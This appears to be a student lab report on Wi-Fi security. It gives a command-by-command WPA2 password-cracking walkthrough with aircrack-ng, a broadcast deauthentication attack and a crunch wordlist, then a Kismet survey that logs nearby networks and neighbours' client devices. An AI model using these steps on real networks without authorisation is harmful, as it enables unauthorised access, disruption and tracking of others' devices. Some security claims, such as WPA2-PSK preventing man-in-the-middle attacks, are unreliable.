A dark blue vertical bar runs along the left edge of the slide. A blue arrow-shaped banner points to the right from this bar, containing the date. In the bottom-left corner, several thin, curved lines in dark blue and light grey sweep upwards and to the right.

5/4/2021

WORKING WITH AIRCRACK-NG AND KISMET

Gaganpreet Singh

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1 FUNCTIONALITIES

- **AIRMON-NG:** This command can be used to enable, and disable monitor mode on wireless interfaces. Usage command is: **airmon-ng <start|stop> <interface> [channel]**.
- **AIRODUMP-NG:** It is used to capture packets of 802.11 frames and is suitable for collecting WEP for using it with aircrack-ng. Usage command is: **airodump-ng <options> <interface> [<interface>,....]**
- **AIREPLAY-NG:** main function is to inject frames for cracking the WEP and WPA-PSK keys with aircrack-ng. Usage command is: **aireplay-ng <option> <replay interface>**. We are using attack 0 option for reauthentication attack.
- **AIRCRACK-NG:** it is used for monitoring, attacking, testing and cracking WEP and WPA PSK networks.
- **KISMET:** It is a network detection, packet sniffing and intrusion detection system for 802.11 WLAN.

2 WIFI PASSWORD CRACKING

Now we will be cracking the password of the Wi-Fi using the commands airmon-ng, airodump-ng, aireplay-ng and aircrack-ng.

The Selected Wi-Fi name is “2408”.

Network Protocol is WPA2

To crack the password of the chosen wi-fi we will be performing below mentioned steps:

1. Open Terminal and type the command “**iwconfig**” to check the mode of wlan0.

```
(root@KALI)-[~]
# iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated  Tx-Power=22 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:on

(root@KALI)-[~]
#
```

- By default, the mode will be “Managed” and for the task we need wlan0 in monitor mode. For this first we need to kill all possible processes that can interfere our monitor mode and run the command “**airmon-ng check kill**”.

```
(root@KALI)-[~]
# airmon-ng check kill

Killing these processes:

PID Name
811 wpa_supplicant

(root@KALI)-[~]
#
```

- Now after this, enable monitor mode using command “**airmon-ng start wlan0**”.


```
root@KALI: ~
File Actions Edit View Help

(root@KALI)-[~]
# airmon-ng start wlan0

PHY      Interface      Driver      Chipset
phy0     wlan0           iwlwifi     Intel Corporation Comet Lake PCH CNVi
WiFi
lan0mon) (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]w
          (mac80211 station mode vif disabled for [phy0]wlan0)

(root@KALI)-[~]
#
```

- Now run “**iwconfig**” command to confirm monitor mode. Check the name is also changed to wlan0mon.



```

(root@KALI)-[~]
# iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.


wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=-214748364
8 dBm

          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on

(root@KALI)-[~]
#

```

5. Detect access points in this step using command “**airodump-ng wlan0mon**”.



```

File  Actions  Edit  View

(root@KALI)-[~]
# airodump-ng wlan0mon

```

In the image below we can now see all the available network BSSIDs and the channel number on which they are operating, as well as their Encryption type and authentication type are also visible.

For the attack I am going to crack the password for:

- **ESSID- 2408**
- **BSSID VALUE IS 18:FD:CB:A0:06:76**
- **CHANNEL =1**

```

CH 2 ][ Elapsed: 30 s ][ 2021-04-05 18:26

BSSID            PWR Beacons  #Data, #/s  CH  MB  ENC CIPHER AUTH ESSID
1A:FD:CB:90:06:76 -38    34      0  0  1  130 WPA2 CCMP PSK <length: 0>
18:FD:CB:A0:06:76 -38    33     167  0  1  130 WPA2 CCMP PSK 2408
18:FD:CB:AF:9A:1C -60    28      3  0  11 130 WPA2 CCMP PSK Kohli5710
1A:FD:CB:9F:9A:1C -60    28      0  0  11 130 WPA2 CCMP PSK <length: 0>
7A:53:0D:D0:6E:AA -62    22      0  0  11 130 WPA2 CCMP PSK <length: 0>
4E:93:A6:9A:91:66 -62    31      0  0  9  130 WPA2 CCMP PSK <length: 0>
78:53:0D:F0:6E:AA -62    29     21  0  11 130 WPA2 CCMP PSK Awasthi
4C:93:A6:8A:91:66 -63    28      2  0  9  130 WPA2 CCMP PSK Ruhaan Jio
94:FB:A7:64:B8:E0 -70    47     13  0  3  130 WPA2 CCMP PSK Ishit_2G
A8:3F:A1:5A:34:79 -70    40      0  0  3  130 WPA2 CCMP PSK JioFiber-R68Ub
96:FB:A7:54:B8:E0 -71    42      0  0  3  130 WPA2 CCMP PSK <length: 0>
AA:3F:A1:5A:34:79 -71    46      0  0  3  130 WPA2 CCMP PSK <length: 0>
94:FB:A7:64:B3:22 -77      2      0  0  1  130 WPA2 CCMP PSK Raghav_2
AA:3F:A1:5A:2C:D8 -77      4      0  0  11 130 WPA2 CCMP PSK <length: 0>
34:E8:94:AC:0C:42 -79      2      0  0  7  130 WPA2 CCMP PSK Sheel
96:FB:A7:54:B3:22 -75      3      0  0  1  130 WPA2 CCMP PSK <length: 0>

BSSID            STATION            PWR  Rate  Lost  Frames  Notes  Probes
18:FD:CB:A0:06:76 DC:29:19:66:74:9F -1    24e- 0  0  1
18:FD:CB:A0:06:76 04:D6:AA:97:D7:E9 -22   24e-24 1858 40
18:FD:CB:A0:06:76 2A:DB:D0:31:10:90 -32   24e- 6 146 39
78:53:0D:F0:6E:AA F4:F5:DB:A2:82:0D -1    5e- 0  0  2
4C:93:A6:8A:91:66 E0:13:B5:89:1A:8F -1    24e- 0  0  1
4C:93:A6:8A:91:66 88:83:5D:85:13:80 -1    24e- 0  0  1
94:FB:A7:64:B8:E0 B2:BE:76:5B:C7:DC -1    5e- 0  0  5
94:FB:A7:64:B8:E0 C2:54:8E:EE:93:E9 -1    1e- 0  0  2
(not associated) 6C:E8:C6:ED:04:17 -40    0 - 6  0  2
Quitting ...

(root@KALI)-[~]
#

```

6. Now we will be monitoring this selected BSSID using the command “**airodump-ng wlan0mon -c 1 --bssid 18:FD:CB:A0:06:76**”.

```

(root@KALI)-[~]
# airodump-ng wlan0mon -c 1 --bssid 18:FD:CB:A0:06:76

```

Below attached image shows the selected BSSID and all the station/devices connected to it.

```

File Actions Edit View Help

CH 1 ][ Elapsed: 18 s ][ 2021-04-05 18:30

BSSID          PWR RXQ Beacons  #Data, #/s  CH  MB  ENC CIPHER AUTH ESSID
18:FD:CB:A0:06:76 -38  6    205    752  2   1  130  WPA2 CCMP  PSK  2408

BSSID          STATION          PWR  Rate  Lost  Frames  Notes  Probes
18:FD:CB:A0:06:76 2A:DB:D0:31:10:90 -32   1e- 6    0    374
18:FD:CB:A0:06:76 04:D6:AA:97:D7:E9 -20  11e-24    1    788
18:FD:CB:A0:06:76 DC:29:19:66:74:9F -79   0 - 1    0     5

```

- Now we need to create a handshake file to save the handshake of the device connecting to the wi-fi. For this we will run the command **"airodump-ng wlan0mon -c 1 -bssid 18:FD:CB:A0:06:76 -w target_handshake"**.


```

root@KALI: ~
File Actions Edit View Help

(root@KALI)~[~]
# airodump-ng wlan0mon -c 1 -bssid 18:FD:CB:A0:06:76 -w target_handshake

```


Created Files.



8. Now we will perform a wi-fi de-authentication attack using the command **"aireplay-ng -deauth 0 -a 18:FD:CB:A0:06:76 wlan0mon"**.

```
(root@KALI)-[~]
# aireplay-ng -deauth 0 -a 18:FD:CB:A0:06:76 wlan0mon
```

9. After initiating de-auth attack we will be able to capture device handshake.



07:18 PM

```
root@KALI: /home/gaganpreet/Desktop
File Actions Edit View Help

CH 1 ][ Elapsed: 54 s ][ 2021-04-05 19:18 ][ WPA handshake: 18:FD:CB:A0:06:76

BSSID          PWR RXQ Beacons  #Data, #/s  CH  MB  ENC CIPHER AUTH ESSID
18:FD:CB:A0:06:76 -42  0      533      756 128  1 130  WPA2 CCMP  PSK  2408

BSSID          STATION        PWR  Rate  Lost  Frames  Notes  Probes
18:FD:CB:A0:06:76 DC:29:19:66:74:9F -1   11e-0  0      57
18:FD:CB:A0:06:76 2A:DB:D0:31:10:90 -21  24e-24 0     248  EAPOL
18:FD:CB:A0:06:76 04:D6:AA:97:D7:E9 -24  11e-24 13816 607  EAPOL

Quitting ...

(root@KALI)-[ /home/gaganpreet/Desktop ]
#
```

```
root@KALI: ~
File Actions Edit View Help

19:17:45 Sending DeAuth (code 7) to broadcast -- BSSID: [18:FD:CB:A0:06:76]
19:17:45 Sending DeAuth (code 7) to broadcast -- BSSID: [18:FD:CB:A0:06:76]
19:17:46 Sending DeAuth (code 7) to broadcast -- BSSID: [18:FD:CB:A0:06:76]
19:17:46 Sending DeAuth (code 7) to broadcast -- BSSID: [18:FD:CB:A0:06:76]
19:17:46 Sending DeAuth (code 7) to broadcast -- BSSID: [18:FD:CB:A0:06:76]
19:17:47 Sending DeAuth (code 7) to broadcast -- BSSID: [18:FD:CB:A0:06:76]
19:17:47 Sending DeAuth (code 7) to broadcast -- BSSID: [18:FD:CB:A0:06:76]
19:17:48 Sending DeAuth (code 7) to broadcast -- BSSID: [18:FD:CB:A0:06:76]
19:17:48 Sending DeAuth (code 7) to broadcast -- BSSID: [18:FD:CB:A0:06:76]
^C

(root@KALI)-[~]
#
```

130 x

10. Now we will be using a wordlist of passwords we will use to crack the wi-fi password using the crunch command.

```
(gaganpreet@KALI)-[~]
$ crunch 7 8 024568 -o /home/gaganpreet/Desktop/wordlist.txt
Crunch will now generate the following amount of data: 17356032 bytes
16 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 1959552
crunch: 100% completed generating output
(gaganpreet@KALI)-[~]
$
```

11. Now at the last step we will be cracking the password by using the handshake using the command **"aircrack-ng -w wordlist.txt target_handshake.cap"**.

```
File Actions Edit View Help
Aircrack-ng 1.6
[00:00:34] 665640/1959552 keys tested (19484.19 k/s)
Time left: 1 minute, 6 seconds 33.97%
KEY FOUND! [ 24082408 ]
Master Key : 0E D7 2A 10 61 47 92 C6 07 4C 9C 0B 26 24 E8 E0
85 67 2D 21 0F 3D E8 1B 1B C2 53 63 89 29 1B 9D
Transient Key : B3 A7 56 B8 41 B6 04 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
EAPOL HMAC : 53 3D 13 24 FD 56 F7 51 1C 19 6D F5 72 F0 76 41
(gaganpreet@KALI)-[~]
$
```

We can now see that the password for the wi-fi "2408" is "24082408".

Depending on the length of the password, the cracking time varies.

3 VULNERABILITIES/POSSIBLE ATTACK ON MY NETWORK PROTOCOL

3.1 VULNERABILITIES (WPA 2)

The Network Protocol on which my router operates is WPA 2-PSK

There can't be any system that is completely vulnerability free and it is the same for the network protocol too.

Below are the vulnerabilities of my network protocol:

- **DoS attack**- Denial of service attacks like Radiofrequency jamming, data flooding and Layer 2 session hijacking are all the availability attacks that can not be prevented in WPA 2 leaving the Network vulnerable.
- **Modification of Protocol Handshake**- An attacker can easily modify the 4-way handshake of the protocol which leads to intercepting the traffic and moreover it is possible to manipulate data without ownership of the password security. This vulnerability provides a large attack surface.
- **Management frames**- Network topology is not protected which provides the attacker the means to know the layout of the network.
- **Control Frames**- frames that assist with the delivery of data and management frames are also not protected leaving them vulnerable to DoS attack.
- **De-authentication**- Spoofing of MAC addresses is made possible by forcing the client to reauthenticate, which added with the lack of authentication for control frames.
- **Disassociation**- Affect the forwarding of data packets to and from the client by forcing the authenticated client with multiple APs to disassociate.


3.2 Possible Attacks on WPA 2

When WPA2- PSK is compromised, hackers can access Network's Layer 2 easily.

KRACK (Key Reinstallation Attack)

The attack we are going to Discuss now is called **KRACK (Key Reinstallation Attack)**. The attack enables the attacker to attack the 4-way handshake of the protocol which is the initiation of the WPA2 connection. Every time when a user connects to WPA2 Wi-Fi, the handshake takes place which is to confirm the user. During the 4-way handshake, a new encryption key is established. The attacker manipulates the 4-way handshake to trick the user into reinstalling an already using encryption key which forces two counters which are used by the protocol to reset and this enables an attack con the protocol naming replay, forge and decrypt attacks.

The attacker performs a man-in-the-middle attack through which he can intercept/decrypt the traffic without even knowing the password. By combining the attack with downgrade attacks, an attacker can turn a HTTPS connection to HTTP and can steal more information.

WPA2 security prior to KRACK**Key Reinstallation Attack – KRACK**

Hackers can perform below-listed attacks on WPA2-PSK:

- **Address Resolution Protocol (ARP) Attacks**
- **Spanning Tree Protocol (STP) Attacks**
- **Double Tagging**
- **Cisco Discovery Protocol (CDP) Reconnaissance.**
- **Content Addressable Memory (CAM) Table Overflows**
- **Media Access Control (MAC) Spoofing**
- **Switch Spoofing**
- **DHCP Spoofing**

4 KISMET

Kismet is an open-source wireless network analyzer that runs on Linux, UNIX and Mac OS X.

Kismet acts as a passive sniffer which is used to detect any wireless 802.11 a/b/g protocol compliant networks.

Benefits of KISMET:


- It puts the card into monitor mode which is not attached to any network.
- It detects as the wireless networks passively by remaining undetected.
- Can detect the entire spectrum and all the wireless networks nearby.
- Provide XML output of the networks detected.
- Provides graphical mapping of networks.

4.1 WIRELESS IDS ARCHITECTURE (KISMET AS A CLIENT-SERVER INFRASTRUCTURE)

Basically, there are three parts of Kismet Architecture.

- Drone- collects the information packets from the network which has to display.
- Server- accepts the information packets from the drone for interpretation. The server interprets the packet data and extrapolates the wireless information and organizes it.

- Client- communicates with the server and displays the information collected by the server.



4.2 KISMET WIRELESS IDS FUNCTIONALITY

Wireless IDS provide the capability to monitor small and medium enterprises which cannot afford wireless IDS systems provided by AirDefense and AirMagnet.

Two main threats are attacks from an active malicious user which could be a DoS attack, arp replay or encryption break and the other is rogue APs.

The Kismet server will collect the traffic from the connected drones and likely detect the attack. An alert will then be triggered and the network administrator will be notified. However, the administrator will still have to track down the attacker or rogue APs manually.

The Wireless IDS can detect active wireless sniffing software like NetStumbler and other wireless network attacks.

4.3 KISMET LAB ACTIVITY

All BSSIDs detected are listed below:

Kismet - Mozilla Firefox

02:42 AM

Kismet

Devices SSIDs ADB Live

Search

SSID	Length	Last Seen	Encryption	# Probing	# Responding	# Advertising
2408	4	Apr 07 2021 02:42:13	WPA2 WPA2-PSK AES-CCM	0	0	1
2430	4	Apr 07 2021 02:42:12	WPA2 WPA2-PSK AES-CCM	0	0	2
#bhatt	7	Apr 07 2021 02:42:09	WPA2 WPA2-PSK AES-CCM	0	1	1
AawstH	7	Apr 07 2021 02:42:08	WPA2 WPA2-PSK AES-CCM	0	2	2
GAGAN1413	9	Apr 07 2021 02:42:18	None / Open	1	0	0
hnh_2G	8	Apr 07 2021 02:41:40	WPA2 WPA2-PSK AES-CCM	0	1	1
hnh_5G	8	Apr 07 2021 02:42:12	WPA2 WPA2-PSK AES-CCM	0	1	1
Jie 2411	8	Apr 07 2021 02:39:40	WPA2 WPA2-PSK AES-CCM	0	0	1
Jie 2411 g	10	Apr 07 2021 02:32:04	WPA2 WPA2-PSK AES-CCM	0	0	1
Jie 2412	8	Apr 07 2021 02:41:12	WPA2 WPA2-PSK AES-CCM	0	0	1
JieFiber-9688b	14	Apr 07 2021 02:42:03	WPA2 WPA2-PSK AES-CCM	0	0	1
KoH5710	9	Apr 07 2021 02:42:09	WPA2 WPA2-PSK AES-CCM	1	2	2
KoH5710	14	Apr 07 2021 02:41:31	None / Open	1	0	0

18 SSIDs

Kismet - Mozilla Firefox

02:42 AM

Kismet

Devices SSIDs ADB Live

Search

SSID	Length	Last Seen	Encryption	# Probing	# Responding	# Advertising
2408	4	Apr 07 2021 02:51:15	WPA2 WPA2-PSK AES-CCM	0	1	1
2430	4	Apr 07 2021 02:51:20	WPA2 WPA2-PSK AES-CCM	0	0	2
#bhatt	7	Apr 07 2021 02:51:25	WPA2 WPA2-PSK AES-CCM	1	1	1
ABIN	4	Apr 07 2021 02:50:55	WPA2 WPA2-PSK AES-CCM	0	0	1
AawstH	7	Apr 07 2021 02:51:21	WPA2 WPA2-PSK AES-CCM	0	2	2
Betr jo	9	Apr 07 2021 02:49:56	None / Open	1	0	0
GAGAN1413	9	Apr 07 2021 02:44:29	None / Open	1	0	0
hnh_2G	8	Apr 07 2021 02:51:05	WPA2 WPA2-PSK AES-CCM	0	1	1
hnh_5G	8	Apr 07 2021 02:51:24	WPA2 WPA2-PSK AES-CCM	0	1	1
Jie 2411	8	Apr 07 2021 02:51:15	WPA2 WPA2-PSK AES-CCM	0	0	1

All the available devices and BSSIDs are listed below:

Kismet - Mozilla Firefox

02:42 AM

Kismet

Devices SSIDs ADB Live

Search


Name	Type	Phy	Crypt	Signal	Channel	Data	Packets	Clients	BSSID	QBSS Chan Usage	QBSS Users
96:FB:A7:54:B3:23	Wi-Fi AP	IEEE802.11	WPA2-PSK	-89	44	0 B	-----	0	96:FB:A7:54:B3:23	1.961%	1
96:FB:A7:54:B8:E0	Wi-Fi AP	IEEE802.11	WPA2-PSK	-18	3	0 B	0	96:FB:A7:54:B8:E0	n/a	n/a
96:FB:A7:54:B8:E1	Wi-Fi AP	IEEE802.11	WPA2-PSK	-84	157	0 B	0	96:FB:A7:54:B8:E1	5.490%	4
2408	Wi-Fi AP	IEEE802.11	WPA2-PSK	-129	1	1.06 KB	5	18:FD:CB:A0:06:76	n/a	n/a
2430	Wi-Fi AP	IEEE802.11	WPA2-PSK	-89	149	0 B	2	A8:3F:A1:5A:2C:D9	6.667%	0
2430	Wi-Fi AP	IEEE802.11	WPA2-PSK	-24	11	0 B	-----	2	A8:3F:A1:5A:2C:D8	n/a	n/a
#bhatt	Wi-Fi AP	IEEE802.11	WPA2-PSK	-54	36	10.83 KB	6	18:FD:CB:A0:06:77	3.529%	5
A8:3D:16:1A:A7:05	Wi-Fi Ad-Hoc	IEEE802.11	n/a	n/a	149	0 B	0	4C:93:A6:8A:91:57	n/a	n/a
A8:1D:16:1B:11:49	Wi-Fi Ad-Hoc	IEEE802.11	n/a	n/a	157	3.04 KB	0	94:FB:A7:64:B8:E1	n/a	n/a
A8:3F:A1:5A:34:7A	Wi-Fi AP	IEEE802.11	WPA2-PSK	-91	157	0 B	0	A8:3F:A1:5A:34:7A	1.961%	0
AA:3F:A1:5A:2C:D8	Wi-Fi AP	IEEE802.11	WPA2-PSK	-25	11	0 B	-----	0	AA:3F:A1:5A:2C:D8	n/a	n/a

42 devices

All Detected devices are logged according to the time in the messages tab.

Kismet					
<div> <div>Devices</div> <div>SSIDs</div> <div>ADSB Live</div> </div> <div> <div>Wi-Fi Access Points</div> <div>42 devices</div> </div>					
Messages Channels					
Time	Type	Device	SSID	Signal	Channel
Apr 07 2021 02:46:37	Detected new 802.11 Wi-Fi device	16:2B:33:A7:10:C5			
Apr 07 2021 02:43:42	Detected new 802.11 Wi-Fi device	18:02:AE:34:F8:D3			
Apr 07 2021 02:43:39	Detected new 802.11 Wi-Fi device	02:91:75:6E:08:03			
Apr 07 2021 02:43:38	802.11 Wi-Fi device	A8:3F:A1:5A:34:79	advertising SSID 'JioFiber-R68Ub'		
Apr 07 2021 02:43:10	802.11 Wi-Fi device	96:FB:A7:54:B3:22	advertising a cloaked SSID		
Apr 07 2021 02:43:10	Detected new 802.11 Wi-Fi access point	96:FB:A7:54:B3:22			
Apr 07 2021 02:43:09	Detected new 802.11 Wi-Fi device	70:BB:E9:2B:07:54			
Apr 07 2021 02:43:09	802.11 Wi-Fi device	4C:93:A6:8A:91:67	advertising SSID 'Ruhaan Jio 5G'		
Apr 07 2021 02:42:56	Detected new 802.11 Wi-Fi device	AC:C3:3A:5B:D5:46			
Apr 07 2021 02:41:55	802.11 Wi-Fi device	AA:3F:A1:59:AA:4E	advertising a cloaked SSID		
Apr 07 2021 02:41:55	Detected new 802.11 Wi-Fi access point	AA:3F:A1:59:AA:4E			
Apr 07 2021 02:41:53	Detected new 802.11 Wi-Fi device	98:09:CF:78:DF:07			
Apr 07 2021 02:41:23	Detected new 802.11 Wi-Fi device	92:0C:F5:E5:24:32			
Apr 07 2021 02:41:23	802.11 Wi-Fi device	18:FD:CB:AF:9A:1C	advertising SSID 'Kohli5710'		
Apr 07 2021 02:40:08	Detected new 802.11 Wi-Fi device	DA:A1:19:9A:00:7D			
Apr 07 2021 02:40:02	Detected new 802.11 Wi-Fi device	A8:3F:A1:5A:2C:D7			
Apr 07 2021 02:39:52	Detected new 802.11 Wi-Fi device	D2:82:70:8C:F2:7F			
Apr 07 2021 02:39:15	Detected new 802.11 Wi-Fi device	6C:24:A6:9D:93:B9			
Apr 07 2021 02:39:08	Detected new 802.11 Wi-Fi device	DA:A1:19:86:7B:45			
Apr 07 2021 02:38:52	Detected new 802.11 Wi-Fi device	4A:D2:E7:F1:57:D2			
Apr 07 2021 02:38:23	Detected new 802.11 Wi-Fi device	AC:BD:70:E1:D7:B8			
Apr 07 2021 02:37:04	Detected new 802.11 Wi-Fi device	48:3B:38:AF:D6:E1			
Apr 07 2021 02:36:59	Detected new 802.11 Wi-Fi device	88:83:5D:85:13:80			
Apr 07 2021 02:36:44	Detected new 802.11 Wi-Fi device	1E:5B:7E:FE:E7:9B			
Apr 07 2021 02:36:22	Detected new 802.11 Wi-Fi device	F2:B1:D2:97:57:4C			
Apr 07 2021 02:35:41	Detected new 802.11 Wi-Fi device	64:5D:86:71:55:57			
Apr 07 2021 02:35:36	Detected new 802.11 Wi-Fi device	E4:4D:DA:32:16:2D			
Apr 07 2021 02:35:27	Detected new 802.11 Wi-Fi device	38:E6:0A:CE:05:C0			
Apr 07 2021 02:35:20	Detected new 802.11 Wi-Fi device	18:FD:CB:A0:02:B6			
Apr 07 2021 02:35:08	Detected new 802.11 Wi-Fi device	0E:11:67:6E:8A:D0			


All operating Channels can be seen in the image below.



Details of the device examined by Kismet.


Mac Address is 18:FD:CB:A0:06:77 and the name is “#Bhatti”.

Signal strength is also mentioned on the device info page.



The image below provides details of the wi-fi like Last Beacons SSID(AP)=“#Bhatti” , last BSSID=“18:FD:CB:A0:06:77” and uptime.

It also shows how many packets are transferred in the time Kismet is monitoring.



More details like Encryption type, channel number, channel utilization, Max data transfer rate are detected by the kismet in the image.

All the devices connected to the network are also listed.

DEVICE: #BHATTI

Device Info

Wi-Fi (802.11)

Advertised SSIDs

SSID: #Bhatti

SSID

#Bhatti

Encryption

WPA2 WPA2-PSK AES-CCM

MFP

Unavailable

Channel

36

HT Mode

HT80

HT Freq

5210 (Channel 42)

Connected Stations

5

Channel Utilization

3.529%

First Seen

Apr 07 2021 02:30:17

Last Seen

Apr 07 2021 02:48:51

Beacon Rate

10/sec

Max. Rate

866.7 mbit

802.11d Country

IN

Responded SSIDs

SSID: #Bhatti

SSID

#Bhatti

Encryption

WPA2 WPA2-PSK AES-CCM

MFP

Unavailable

First Seen

Apr 07 2021 02:31:17

Last Seen

Apr 07 2021 02:31:18

Max. Rate

866.7 mbit

WPS Manufacturer

Ralink Technology, Corp.

WPS Device

RalinkAPS_0

WPS Model

Ralink Wireless Access Point

WPS Model #

RT2860

WPS Serial #

12345678

Shared Hardware (Uptime)

Related to 1A:FD:CB:90:06:77 (n/a)

Associated Clients

Client 04:D6:AA:97:D7:E9

Client 08:25:25:25:86:9F

Client 18:FD:CB:A0:06:75

Client 6C:E8:C6:ED:04:17

Client 92:7D:55:A5:7F:A5


Client E4:46:DA:32:16:2D

These are the devices that were connected to the examined network.

18

Associated Clients ?	
▼ Client 04:D6:AA:97:D7:E9	
Client Info	View Client Details
Name	04:D6:AA:97:D7:E9
Type	Wi-Fi Client
Manufacturer	Samsung Electro-Mechanics(Thailand)
First Connected	Apr 07 2021 02:31:18
Last Connected	Apr 07 2021 02:44:29
Data	0 B
Retried Data	0 B
▼ Client 08:25:25:25:86:9F	
Client Info	View Client Details
Name	08:25:25:25:86:9F
Type	Wi-Fi Client
Manufacturer	Xiaomi Communications Ltd
First Connected	Apr 07 2021 02:30:50
Last Connected	Apr 07 2021 02:47:04
Data	0 B
Retried Data	3.06 KB
▼ Client 18:FD:CB:A0:06:75	
Client Info	View Client Details
Name	18:FD:CB:A0:06:75
Type	Wi-Fi Bridged
Manufacturer	IEEE Registration Authority
First Connected	Apr 07 2021 02:30:54
Last Connected	Apr 07 2021 02:47:03
Data	0 B
Retried Data	18.94 KB

The Below image shows the data for packet and data transfer rate.



4.4 OTHER FUNCTIONS KSMET CAN PERFORM

- Kismet acts as a passive sniffer which is used to detect any wireless 802.11 a/b/g protocol compliant networks.

- It can also discover, log the IP range of any detected wireless network and reports its signal and noise levels.
- It can also locate, troubleshoot and optimize signal strength for access points and clients as well as detect network intrusions. Kismet can also sniff all management data packets from undetected networks.
- Kismet can also see non-beaconing networks if they are in use.
- Kismet can recover cloaked SSIDs by listening to connection handshakes.

5 ATTACKs PREVENTED BY MY Wi-Fi CONFIGURATION

My WLAN driver configuration shown in the image below and my wi-fi configuration is encrypted with WPA 2 CCMP.

```
C:\Users\Gaganpreet Singh>netsh wlan show drivers

Interface name: Wi-Fi

Driver               : Intel(R) Wi-Fi 6 AX201 160MHz
Vendor               : Intel Corporation
Provider             : Intel
Date                 : 9/17/2020
Version              : 22.0.0.6
INF file             : oem108.inf
Type                 : Native Wi-Fi Driver
Radio types supported : 802.11b 802.11g 802.11n 802.11a 802.11ac 802.11ax
FIPS 140-2 mode supported : Yes
802.11w Management Frame Protection supported : Yes
Hosted network supported : No
Authentication and cipher supported in infrastructure mode:
    Open              None
    Open              WEP-40bit
    Open              WEP-104bit
    Open              WEP
    WPA-Enterprise    TKIP
    WPA-Enterprise    CCMP
    WPA-Personal      TKIP
    WPA-Personal      CCMP
    WPA2-Enterprise   TKIP
    WPA2-Enterprise   CCMP
    WPA2-Personal     TKIP
    WPA2-Personal     CCMP
    Open              Vendor defined
    WPA3-Personal     CCMP
    Vendor defined    Vendor defined
    WPA3-Enterprise   GCMP-256
    OWE               CCMP
IHV service present   : Yes
IHV adapter OUI       : [00 00 00], type: [00]
IHV extensibility DLL path: C:\WINDOWS\system32\IntelIHVRouter08.dll
IHV UI extensibility CLSID: {00000000-0000-0000-0000-000000000000}
IHV diagnostics CLSID : {00000000-0000-0000-0000-000000000000}
Wireless Display Supported: Yes (Graphics Driver: Yes, Wi-Fi Driver: Yes)
```

WPA 2 PSK CCMP Prevents attacks listed below:

- Man-in-the-middle attack
- Authentication forging

- Replay attacks
- Key Collision
- Packet forging attacks

6 REFERENCES

- <https://www.enisa.europa.eu/publications/info-notes/an-overview-of-the-wi-fi-wpa2-vulnerability>
- <https://www.securew2.com/blog/wpa2-psk-is-not-enough>
- https://www.kismetwireless.net/docs/readme/alerts_and_wids/